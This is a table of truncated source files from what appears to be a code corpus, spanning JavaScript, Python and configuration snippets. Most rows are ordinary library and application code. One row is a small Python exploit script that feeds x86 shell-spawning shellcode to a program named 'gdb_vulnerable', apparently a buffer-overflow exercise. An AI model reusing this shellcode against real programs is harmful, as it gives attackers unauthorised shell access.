text stringlengths 3 1.05M |
|---|
// This file was procedurally generated from the following sources:
// - src/dstr-binding/obj-ptrn-prop-ary-value-null.case
// - src/dstr-binding/error/cls-decl-meth-static-dflt.template
/*---
description: Object binding pattern with "nested" array binding pattern taking the `null` value (static class expression method... |
const path = require('path')
const debug = process.env.NODE_ENV !== 'production'
module.exports = {
publicPath: process.env.NODE_ENV === 'production'?'/admin/' : '/', // 根域上下文目录
outputDir: __dirname + '/../server/admin', // 构建输出目录
assetsDir: 'assets', // 静态资源目录 (js, css, img, fonts)
lintOnSave: false, ... |
import Ledger from '@ledgerhq/hw-app-eth';
import ethTx from 'ethereumjs-tx';
import u2fTransport from '@ledgerhq/hw-transport-u2f';
import { LEDGER as ledgerType } from '../../bip44/walletTypes';
import bip44Paths from '../../bip44';
import HDWalletInterface from '@/wallets/HDWalletInterface';
import * as HDKey from '... |
/**
* @fileoverview This test suite runs tests on the V1 to V2 converter.
*/
var _ = require('lodash'),
expect = require('chai').expect,
transformer = require('../../../index');
describe('v1.0.0 to v2.1.0', function () {
var options = {
inputVersion: '1.0.0',
outputVersion: '2.1.0',
... |
/**
* Check permission for canSetSticky
* @param req: include method(GET, POST, PUT, PATCH or DELETE) and node
* @returns {boolean} True if allowed, false otherwise
*/
// After exec omit function, it returns key list except given key list
const omit = require('underscore').omit;
const isEmpty = require('underscor... |
import numpy as np
from scipy.ndimage import gaussian_filter
#---------------------------------------------------------------------------------
def pet_fwd_model(img, proj, attn_sino, sens_sino, isub = None, fwhm = 0):
"""PET forward model
Parameters
----------
img : 3D numpy array
containing the activit... |
/**
* Copyright IBM Corp. 2019, 2020
*
* This source code is licensed under the Apache-2.0 license found in the
* LICENSE file in the root directory of this source tree.
*
* Code generated by @carbon/icon-build-helpers. DO NOT EDIT.
*/
import { _ as _objectWithoutProperties, I as Icon, a as _extends } from '../I... |
import * as THREE from "three";
import {Quaternion} from "three";
import {Line3} from "./math/Line3";
import {
GULLY_0,
GULLY_1,
GULLY_2,
GULLY_N_MASK,
GULLY_EXPLEMENTARY,
GULLY_SUPPLEMENTARY
} from "./shapes/Shape";
import {Base} from './shapes/Base';
import {SHAPE_PLANE_RIGHT, SHAPE_PLANE_LEFT... |
/**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
import Rea... |
const qs = require('querystring');
const fs = require('fs');
const jwt = require('jsonwebtoken');
const cookie = require('cookie');
const jwkToPem = require('jwk-to-pem');
const auth = require('./auth.js');
const nonce = require('./nonce.js');
const codeChallenge = require('./code_challenge.js');
const axios = require(... |
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
/*global CANNON:true */
/**
* @class CANNON.World
* @brief The physics world
*/
CANNON.World = function(){
/// Makes bodies go to sleep when they've been inactive
this.allowSleep = false;
/// The wall-clock time since simulation start
this.time = 0.0;
/// Number of timesteps taken since start
this.st... |
# -*- coding: utf-8 -*-
import os
from django.core.wsgi import get_wsgi_application
from whitenoise.django import DjangoWhiteNoise
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pyclub.settings")
application = get_wsgi_application()
application = DjangoWhiteNoise(application)
|
import contextlib
from typing import (
AsyncIterator,
)
from eth_utils import ValidationError
from p2p.abc import (
LogicAPI,
QualifierFn,
BehaviorAPI,
ConnectionAPI,
)
class Behavior(BehaviorAPI):
"""
This class is primarily an internal API. Users should rarely need to
instantiate ... |
class Cannon{
constructor(x, y, width, height, angle){
this.x = x;
this.y = y;
this.width = width;
this.height = height;
this.angle = angle;
}
display(){
fill("brown");
push ();
translate(this.x, this.y);
rotate (this.angle);
rect(-10, -20, this.width, this.height);
pop ();
arc (this.x - 30, this.y + 90, 140, 200, PI,... |
from time import sleep
import flask_migrate
from IPython import embed
from sqlalchemy_utils import create_database, database_exists, drop_database
from app.config import DB_URI
from app.email_utils import send_email, render, get_email_domain_part
from app.log import LOG
from app.extensions import db
from app.models i... |
var NAVTREE =
[
[ "CMSIS-Pack", "index.html", [
[ "Software Pack Use Cases", "index.html#SWPackVariants", null ],
[ "Revision History of CMSIS-Pack", "pack_revisionHistory.html", null ],
[ "Software Packs Overview", "cp_Packs.html", [
[ "Pack Conventions", "cp_Packs.html#PackFilenames", [
[ ... |
export function getDisplayName(Component) {
return (Component && (Component.displayName || Component.name)) || 'Component'
}
|
var ex__get__map__param_8c =
[
[ "ex_get_map_param", "ex__get__map__param_8c.html#a5e99c63d2831c3b289061f769e81aa22", null ]
]; |
'use strict';
const common = require('../common');
const asyncHooks = require('async_hooks');
const http = require('http');
// Regression test for https://github.com/nodejs/node/issues/31796
asyncHooks.createHook({
after: () => {}
}).enable();
process.once('uncaughtException', common.mustCall(() => {
server.clo... |
/*
Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang("specialchar","pt-br",{euro:"Euro",lsquo:"Aspas simples esquerda",rsquo:"Aspas simples direita",ldquo:"Aspas duplas esquerda",rdq... |
describe('About page', () => {
it('Back button works', () => {
cy.visit('/community');
cy.findByPlaceholderText('Search by address', { exact: false }).type(
'San Antonio, TX',
);
cy.findByText('Go').click();
// wait for the web services to finish
cy.findAllByTestId('hmw-loading-spinner'... |
# pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRe... |
/*global define*/
define([
'./Cartesian3',
'./defined',
'./DeveloperError'
], function(
Cartesian3,
defined,
DeveloperError) {
"use strict";
/**
* Uses the Tridiagonal Matrix Algorithm, also known as the Thomas Algorithm, to solve
* a system of line... |
'use strict';
var path = require('path');
var gulp = require('gulp');
var conf = require('./conf');
var $ = require('gulp-load-plugins')({
pattern: ['gulp-*', 'main-bower-files', 'uglify-save-license', 'del']
});
gulp.task('partials', function () {
return gulp.src([
path.join(conf.paths.src, '/app/**/*.html'... |
import React from 'react';
import ReactDOM from 'react-dom';
import { Provider } from 'react-redux';
import { createStore, applyMiddleware } from 'redux';
import '../style/main.scss';
import reducers from './reducers';
import thunk from 'redux-thunk';
import App from "./container/App";
const createStoreWi... |
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(d... |
var nsOptions =
{
sliderId: "ninja-slider",
transitionType: "slide", //"fade", "slide", "zoom", "kenburns 1.2" or "none"
autoAdvance: true,
delay: "default",
transitionSpeed: "default",
aspectRatio: "9:6",
initSliderByCallingInitFunc: false,
shuffle: false,
startSlideInde... |
// THIS FILE IS AUTO GENERATED
var GenIcon = require('../lib').GenIcon
module.exports.IoMdHelp = function IoMdHelp (props) {
return GenIcon({"tag":"svg","attr":{"viewBox":"0 0 512 512"},"child":[{"tag":"path","attr":{"d":"M289 448h-66v-65h66v65zm-1-98h-64c0-101 96-95.1 96-159 0-35.2-28.8-63.4-64-63.4S192 158 192 192h... |
import React from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';
import { StyledWrapper } from './StyledWrapper';
const propTypes = {
/**
* Additional class names
*/
className: PropTypes.string,
/**
* HTML for attribute
*/
htmlFor: PropTypes.strin... |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
exports.__esModule = true;
exports.assertNodeList = assertNodeList;
exports.setElement = setElement;
exports.validateElement = validateElement;
exports.hide = hide;
exports.show = show;
exports.documentNotReadyOrSSRTes... |
export const navBrowseBtnSelector = "#overlays-container .big-dropdown-menu .container a.big-link:first-child";
export const navUserAcctDropdownBtnSelector ="#top-nav .navbar-collapse .navbar-acct.navbar-nav .user-account-item"; //"#top-nav .navbar-collapse .navbar-acct.navbar-nav .user-account-item > a.dropdown-togg... |
/** File generated by Grunt -- do not modify
* JQUERY-FORM-VALIDATOR
*
* @version 2.3.79
* @website http://formvalidator.net/
* @author Victor Jonsson, http://victorjonsson.se
* @license MIT
*/
!function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(a){return b(a)}):"object"=... |
import React from 'react';
import './aboutUS.css';
const AboutUS = () => {
return(
<div className="container">
<div className="aboutUS"></div>
</div>
)
}
export default AboutUS; |
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... |
import React from 'react'
import { defaultLocale } from '../config/i18n.config'
export const LocaleContext = React.createContext({
locale: defaultLocale,
setLocale: () => null
})
|
import { useState } from 'react';
import { Outlet } from 'react-router-dom';
import { makeStyles } from '@material-ui/core';
import NavBar from './NavBar';
import TopBar from './TopBar';
const useStyles = makeStyles((theme) => ({
root: {
backgroundColor: theme.palette.background.default,
display: 'flex',
... |
import { StyleSheet } from 'react-native';
const styles=StyleSheet.create({
icon: {
backgroundColor: '#fff',
height: 48,
paddingRight: 5,
borderTopRightRadius: 10,
borderBottomRightRadius: 10,
},
head: {
color: '#892CDC',
fontSize: 30,
jus... |
const currentUserRecId = 1;
const data = [
{
userRecId: currentUserRecId,
action: 1,
matchWith: 5,
},
{
userRecId: currentUserRecId,
action: 1,
matchWith: 12,
},
{
userRecId: currentUserRecId,
action: 1,
matchWith: 25,
},
{
userRecId: currentUserRecId,
action: ... |
import pytest
from tests.test_data.comments import COMMENTS
from tests.test_data.episodes import EXTENDED_EPISODE
from tests.test_data.lists import LIST
from tests.test_data.movies import RATINGS
from tests.test_data.shows import SHOW_STATS, TRANSLATIONS
from tests.test_data.user import USER
from tests.utils import mk_... |
var socket;
$("body").css("overflow", "hidden");
$(document).ready(function() {
socket = io.connect("http://" + document.domain + ":" + location.port);
socket.on('update', function(data) {
if (data.msg == "Done") {
$('#scan_status').first().html("<h2>Done</h2>");
$('#results_link').first().css("bottom", "0px"... |
/*
* ManerFan(http://manerfan.com). All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by app... |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you ... |
// Copyright 2020 Mathias Bynens. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
author: Mathias Bynens
description: >
Unicode property escapes for `Script_Extensions=Hanunoo`
info: |
Generated by https://github.com/mathiasbynens/unicode-property-escapes-tests
U... |
const express = require('express')
const app = express()
const bodyParser = require('body-parser')
const cors = require('cors')
require('dotenv').config()
const mongoose = require('mongoose')
mongoose.Promise = global.Promise
mongoose.connect(process.env.MONGO_URI, {
useNewUrlParser: true
}).then(() => {
consol... |
#! /usr/bin/python2.3
prog = "./gdb_vulnerable"
args = ["vulnerable"]
buffer = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
args.append(buffer)
import os
os.execv(prog, args)
|
Ext.data.JsonP.direct({
"guide": "<h1>Ext Direct</h1>\n\n<hr />\n\n<iframe src=\"http://player.vimeo.com/video/17876920?byline=0&portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\"></iframe>\n\n"
}); |
//JS module imports
import { serverData } from "./modules/serverData.js";
import { getRun, getLobbyRun } from "./modules/game/finish.js";
import { basicCannon, fireworks, side } from "./modules/confetti.js";
// Get lobby if a lobby_prompt
const LOBBY_ID = serverData["lobby_id"] || null;
const PLAYED = serverData["pla... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _ApiClient = _interopRequireDefault(require("../ApiClient"));
var _Snippet = _interopRequireDefault(require("./Snippet"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "de... |
'use strict';
module.exports = {
source: null,
source_url: null, // eslint-disable-line camelcase
title: null,
description: null,
url: null,
company_name: null, // eslint-disable-line camelcase
location: null,
full_time: null, // eslint-disable-line camelcase
remote: null,
published_at: null // esl... |
from base64 import b64encode
from datetime import datetime
import os
import traceback
from PyQt5.QtGui import QBrush, QColor
from PyQt5.QtCore import (Qt, QVariant, pyqtSignal, pyqtSlot, QSize,
QAbstractTableModel, QModelIndex,
QSortFilterProxyModel)
from PyQt5.QtWid... |
export const slidersHorizontal16 = "M1 14h7v2h3v-2h5v-1h-5v-2H8v2H1zm8-2h1v3H9zM1 9h2v2h3V9h10V8H6V6H3v2H1zm3-2h1v3H4zm7-6v2H1v1h10v2h3V4h2V3h-2V1zm2 4h-1V2h1z";
|
import warnings
from typing import List, Tuple, Union
import torch
from torch import Tensor, nn
from torch.nn import Parameter
from torch_geometric.nn.conv import MessagePassing
from torch_geometric.nn.dense.linear import Linear
from torch_geometric.typing import Adj, OptPairTensor, OptTensor, Size
from torch_geometr... |
from .meter import *
from .precision_recall_meter import *
from .cls_acc import accuracy
|
var util = require('util');
var DescriptorItem = require('./shared').DescriptorItem;
/**
* An import in a ProtoFile.
* @param {!string} data - string value of this import
* @constructor
*/
var Import = function (data) {
/**
* The import path.
* @type {!string}
*/
this.str = data;
/**
* Resolved ... |
import re
class Commons:
@staticmethod
def _balanced_text(text: str) -> str:
c1 = text.count('\'')
c2 = text.count('\"')
if c1 % 2 != 0 or c2 % 2 != 0:
return False
stack = []
for ch in text:
if ch == '(' or ch == '[':
... |
module.exports = {
root: true,
env: {
node: true,
},
extends: [
'plugin:vue/recommended',
'@vue/airbnb',
'@vue/typescript',
],
rules: {
'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'off',
'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
s... |
const { itBlock } = require('./test-helper');
describe('cell ranges', function () {
describe('A1 style', function () {
[
['A1', [['A1', 'operand', 'range']]],
['$A$1', [['$A$1', 'operand', 'range']]],
['A$1', [['A$1', 'operand', 'range']]],
['$A1', [['$A1', 'operand', 'range']]],
['... |
import numpy as np
import warnings
from scipy.stats import norm
def gaussian_acquisition_1D(X, model, y_opt=None, acq_func="LCB",
acq_func_kwargs=None, return_grad=True):
"""
A wrapper around the acquisition function that is called by fmin_l_bfgs_b.
This is because... |
//index.js
//获取应用实例
var app = getApp()
Page({
data: {
//假数据
teamArray:[
{
name:'家庭',
members:['我','女朋友'],
}
,
{
name:'大腿科技',
members:['我','大腿','徐航'],
}
... |
/**
* Time: 2018-10-31
*/
/**
* 三个数的最大乘积 - 第一种解法
* 执行时间:176ms
* @param {number[]} nums
* @return {number}
*/
var maximumProduct = function(nums) {
nums.sort((a, b) => b - a);
var result = nums[0] * nums[1] * nums[2];
if (result < 0) {
return result;
}
var result1 = nums[0] * nums[nu... |
from elasticsearch import Elasticsearch
from elasticsearch.helpers import scan
import requests
import redis
import json
import wikipedia as wiki
from sys import argv
def normalize(str):
str = ''.join(e for e in str.lower())
return '-'.join(str.split())
def printPkgContent(pkgName):
pkg = requests.get("htt... |
from concurrent.futures import Future
from dataclasses import dataclass
from typing import Optional, List, Dict, Any, Union, Iterable
import agate
from dbt.contracts.relation import RelationType
import dbt
import dbt.exceptions
from dbt.adapters.base import AdapterConfig
from dbt.adapters.base.impl import catch_as_co... |
Object.defineProperty(exports,"__esModule",{value:true});var _extends=Object.assign||function(target){for(var i=1;i<arguments.length;i++){var source=arguments[i];for(var key in source){if(Object.prototype.hasOwnProperty.call(source,key)){target[key]=source[key];}}}return target;};exports.default=flattenStyle;var _react... |
bl_info = {
"name": "Sprytile Painter",
"author": "Jeiel Aranal",
# Final version number must be two numerals to support x.x.00
"version": (0, 5, 0),
"blender": (2, 80, 0),
"description": "A utility for creating tile based low spec scenes with paint/map editor tools",
"location": "View3D > S... |
import unittest
import odmlib.odm_1_3_2.model as ODM
import odmlib.typed as T
import odmlib.odm_element as OE
class TestText(OE.ODMElement):
Name = T.String(required=True)
OrderNumber = T.PositiveInteger(required=False)
class TestDescriptor(unittest.TestCase):
def test_assignment(self):
test = ... |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _classCallCheck2 = _interopReq... |
# !/usr/bin/env python
import random
import pickle
import numpy as np
from proc import *
from tqdm import *
import torchfile
import time
import utils
import os
# from ..args import get_parser
import time
import lmdb
import shutil
import sys
sys.path.append("..")
from args import get_parser
# Maxim nu... |
$(document).ready(function() {
var num2 = $('#num2');
var num1 = $('#num1');
var temp = $('#temp');
var display = $('.caltop');
var op = $('#operator');
var clearData = function() {
num1.val('');
op.val('');
num2.val('');
temp.val('');
};
... |
/*global casper*/
/*jshint strict:false*/
casper.options.remoteScripts = [
'includes/include1.js', // local includes are actually served
'includes/include2.js', // through the local test webserver
'http://code.jquery.com/jquery-1.8.3.min.js'
];
casper.start('tests/site/index.html', function() {
this.te... |
# In[ ]:
"""
Statistical analysis of the Fourier spectrum for time delay (tau).
=======================================================================
This function a statistical analysis (using the least median of squares) of the fourier spectrum (FFT) from a time series to detect
the greatest signficant frequency... |
!function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return ... |
# inbuild python imports
# inbuilt django imports
# third party imports
from django.conf import settings
# inter-app imports
# local imports
from . import utils
try:
import mongoengine
except ImportError:
mongoengine = None
try:
from django.core.cache import cache
except ImportError:
cache = None
... |
'use strict'
const async = require('async')
const forge = require('node-forge')
const util = require('./util')
/**
* Cryptographic Message Syntax (aka PKCS #7)
*
* CMS describes an encapsulation syntax for data protection. It
* is used to digitally sign, digest, authenticate, or encrypt
* arbitrary message conte... |
const { pg } = require('./../config');
const { Sequelize, Model, DataTypes } = require('sequelize');
//TODO: move db to postgres
//TODO: move config to env
const sequelize = new Sequelize(
pg.db
, pg.login
, pg.secret
, {
host: pg.host
, dialect: 'postgres'
, logQueryParameters: pg.log... |
/*//const { defprefix } = require('../botconfig.json');
const Discord = require("discord.js");
module.exports = {
name: "role-",
aliases: ["removerole", "rrole"],
description: "Removes Mentioned Role From The Mentioned User(s)",
async run(client, message, args) {
if (!message.guild.me.permissions.has("M... |
var BUGNUMBER = 1185106;
var summary = "EarlyErrors for async function";
//print(BUGNUMBER + ": " + summary);
function assertThrowsSE(code) {
assertThrows(() => Reflect.parse(code), SyntaxError);
}
if (typeof Reflect !== "undefined" && Reflect.parse) {
// If FormalParameters Contains AwaitExpression is true.
... |
const {getRequestBody, isValidHttpUrl, fetchTemplate} = require("../utils");
const {generateCredentials, verifyCredentials} = require("../services/signerService");
const {signingKeyType} = require('../../config/keys');
const generateCredentialsRoute = async (req) => {
const reqBody = await getRequestBody(req);
... |
import mediaMiddleware from "./mediaMiddleware";
import { LOAD_AUDIO_FILE } from "./actionTypes";
const mockMedia = {
addEventListener: jest.fn(),
loadFromFileReference: jest.fn()
};
const mockStore = {};
const mockNext = jest.fn();
const middleware = mediaMiddleware(mockMedia)(mockStore)(mockNext);
describe("In... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.getStyles = exports.CheckGlobalClassNames = void 0;
var tslib_1 = require("tslib");
var Styling_1 = require("../../Styling");
var Utilities_1 = require("../../Utilities");
exports.CheckGlobalClassNames = {
root: 'ms-Check',
cir... |
import multer from 'multer'
/**
NOTE: 이미지 업로드
**/
export function imageUpload (req, res, next) {
let mapCounter = 0
let imageCounter = 0
const upload = multer({
storage: multer.diskStorage({
destination: function (req, file, cb) {
cb(null, 'feeds/')
},
filename: function (req, fi... |
/* jshint expr:true */
import {expect} from 'chai';
import {describe, it} from 'mocha';
import {setupComponentTest} from 'ember-mocha';
import sinon from 'sinon';
describe('Unit: Component: gh-notification', function () {
setupComponentTest('gh-notification', {
unit: true
// specify the other units... |
#
# SymbiYosys (sby) -- Front-end for Yosys-based formal verification flows
#
# Copyright (C) 2016 Claire Xenia Wolf <claire@yosyshq.com>
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this per... |
# -*- coding: utf-8 -*-
"""
These serializer mixinins and fields are used exclusively to import the file
``workdir/fixtures/products-meta.json``. They are not intended for general
purpose and can be deleted thereafter.
"""
from __future__ import unicode_literals
from parler_rest.serializers import TranslatedFieldsFiel... |
imports.gi.versions.EDataServerUI = '1.2'
module.exports = imports.gi.EDataServerUI
|
var app = angular.module('fluxMembersApp', []);
app.controller('FluxController', function($scope, $log, $rootScope, $http, $window){
//
// Variables needed
//
$rootScope._ = _;
var flux = this;
flux.errorMsg = '';
flux.debug = false;
flux.valid_regions = [];
flux.set_password = fa... |
/* Javascript plotting library for jQuery, version 0.8.3.
Copyright (c) 2007-2014 IOLA and Ole Laursen.
Licensed under the MIT license.
*/
// first an inline dependency, jquery.colorhelpers.js, we inline it here
// for convenience
/* Plugin for jQuery for working with colors.
*
* Version 1.1.
*
* Inspiration fr... |
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making 蓝鲸智云(BlueKing) available.
Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License.
You may obt... |
/*
* ! ${copyright}
*/
/*
TODO: Remove!
<ValueHelp>
<typeahead>
<valuehelp.Popover useFirstMatch="true">
<popover.MTableContent><mTable/></popover.MTableContent>
</valuehelp.Popover>
</typeahead>
<dialog>
<valueHelp.Dialog title="My cool Dialog">
<dialog.MdcTableContent title="List View" k... |
const sinon = require('sinon');
const test = require('tape');
const ZkPromise = require('../../../lib/promise');
test('ZkPromise get', (t) => {
t.plan(1);
const expected = 'value';
const promise = ZkPromise.resolve({
property: expected,
});
promise.get('property').then((actual) => {
... |
'use strict';/**
* @module
* @description
* Common directives shipped with Angular.
*/
function __export(m) {
for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
}
var lang_1 = require('./src/facade/lang');
var ng_for_1 = require('./src/directives/ng_for');
var ng_if_1 = require('./src/directive... |
(function (angular) {
'use strict'
/**
$1[$3]
$2
*/
angular
.module('$1')
.constant('$3', $4)
}(window.angular))
|
import React, {useRef, useContext, forwardRef, useEffect} from 'react'
import styled from 'styled-components'
import PropTypes from 'prop-types'
import {COMMON, get} from '../constants'
import theme from '../theme'
import TextInput from '../TextInput'
import {MenuContext} from './SelectMenuContext'
import sx from '../s... |
$(function () {
$.getJSON('http://www.highcharts.com/samples/data/jsonp.php?filename=world-population-density.json&callback=?', function (data) {
// Initiate the chart
$('#container').highcharts('Map', {
chart: {
borderWidth: 1,
reflow: false
... |
/**
* @license Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* Full Button
config.toolbar = [
{ name: 'document', groups: [ 'mode', 'document', 'doctools' ], items: [ 'Source', '-', 'Save', 'NewPage', 'Previe... |
(function webpackUniversalModuleDefinition(root, factory) {
if(typeof exports === 'object' && typeof module === 'object')
module.exports = factory();
else if(typeof define === 'function' && define.amd)
define([], factory);
else if(typeof exports === 'object')
exports["syncAxiosVuex"] = factory();
else
root[... |
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.5.3
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
... |
AUI.add('aui-nested-list', function(A) {
/**
* The NestedList Utility - Full documentation coming soon.
*
* @module aui-nested-list
*/
var L = A.Lang,
isString = L.isString,
isFunction = L.isFunction,
BLOCK = 'block',
BODY = 'body',
DD = 'dd',
DISPLAY = 'display',
DOWN = 'down',
DRAG_NODE = 'dragNode',
D... |
var robotsParser = require('../index');
var expect = require('chai').expect;
function testRobots(url, contents, allowed, disallowed) {
var robots = robotsParser(url, contents);
allowed.forEach(function (url) {
expect(robots.isAllowed(url)).to.equal(true);
});
disallowed.forEach(function (url) {
expect(robot... |
/**
* `forEach` 对于array格式实现的特殊版本
*
* @private
* @param {Array|Object} collection 要迭代的array
* @param {Function} iteratee 每一次迭代时调用
* @returns {Array|Object} 返回 `array`
*/
function arrayEach(array, iteratee) {
let index = -1;
const length = array.length;
// 迭代
while (++index < length) {
// 使用iteratee来... |